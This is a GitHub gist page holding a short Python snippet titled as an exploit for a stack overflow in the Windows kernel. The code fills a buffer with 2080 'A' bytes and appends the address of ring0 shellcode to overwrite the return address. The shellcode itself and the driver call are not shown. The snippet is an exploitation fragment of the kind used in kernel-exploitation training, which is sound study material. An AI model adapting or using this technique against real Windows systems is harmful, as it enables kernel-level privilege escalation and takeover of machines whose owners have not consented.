Skip to content

Instantly share code, notes, and snippets.

@hacksysteam

hacksysteam/kernel_bof.py

Created May 7, 2015 07:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hacksysteam/4d2c4e85ba8b6e6aafdc to your computer and use it in GitHub Desktop.
Save hacksysteam/4d2c4e85ba8b6e6aafdc to your computer and use it in GitHub Desktop.
Download ZIP
Exploit Snippet for Stack Overflow in Windows Kernel
Raw
kernel_bof.py
# shellcode real memory address
ring0_shellcode_address = id(ring0_shellcode) + 20
# pattern offset is 2080
k_buffer = "\x41" * 2080
# add the address of ring0 shellcode to the buffer
k_buffer += struct.pack("L", ring0_shellcode_address)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment